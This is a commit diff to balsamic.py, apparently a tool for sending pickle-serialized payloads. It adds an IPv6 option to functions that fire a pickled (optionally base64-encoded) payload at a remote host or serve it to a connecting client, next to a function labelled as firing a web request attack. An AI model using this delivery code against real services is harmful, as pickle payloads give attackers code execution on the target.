Update balsamic.py
parent
d4af6493ae
commit
22e6b8a06c
|
@ -55,11 +55,12 @@ def webreq(method, url, payload, param=None, cook=None, custom_headers=None):
|
||||||
)
|
)
|
||||||
return f"Firing webreq attack against {url}"
|
return f"Firing webreq attack against {url}"
|
||||||
|
|
||||||
def socksend(rhost, rport, payload, enc, steps=0):
|
def socksend(rhost, rport, payload, enc, steps=0, use_ipv6=False):
|
||||||
rport = int(rport)
|
rport = int(rport)
|
||||||
steps = int(steps)
|
steps = int(steps)
|
||||||
payload = Utility.b64pickle(payload) if enc else Utility.plainpickle(payload)
|
payload = Utility.b64pickle(payload) if enc else Utility.plainpickle(payload)
|
||||||
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
|
family = socket.AF_INET6 if use_ipv6 else socket.AF_INET
|
||||||
|
with socket.socket(family, socket.SOCK_STREAM) as s:
|
||||||
s.connect((rhost, rport))
|
s.connect((rhost, rport))
|
||||||
for _ in range(steps):
|
for _ in range(steps):
|
||||||
s.sendall(b"arb")
|
s.sendall(b"arb")
|
||||||
|
@ -67,11 +68,12 @@ def socksend(rhost, rport, payload, enc, steps=0):
|
||||||
s.sendall(payload)
|
s.sendall(payload)
|
||||||
s.close()
|
s.close()
|
||||||
|
|
||||||
def socklisten(lport, payload, enc, steps=0):
|
def socklisten(lport, payload, enc, steps=0, use_ipv6=False):
|
||||||
lport = int(lport)
|
lport = int(lport)
|
||||||
steps = int(steps)
|
steps = int(steps)
|
||||||
payload = Utility.b64pickle(payload) if enc else Utility.plainpickle(payload)
|
payload = Utility.b64pickle(payload) if enc else Utility.plainpickle(payload)
|
||||||
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
|
family = socket.AF_INET6 if use_ipv6 else socket.AF_INET
|
||||||
|
with socket.socket(family, socket.SOCK_STREAM) as s:
|
||||||
s.bind(('localhost', lport)) # Bind to localhost or a specific IP address
|
s.bind(('localhost', lport)) # Bind to localhost or a specific IP address
|
||||||
s.listen(1)
|
s.listen(1)
|
||||||
conn, addr = s.accept()
|
conn, addr = s.accept()
|
||||||
|
|
Loading…
Reference in New Issue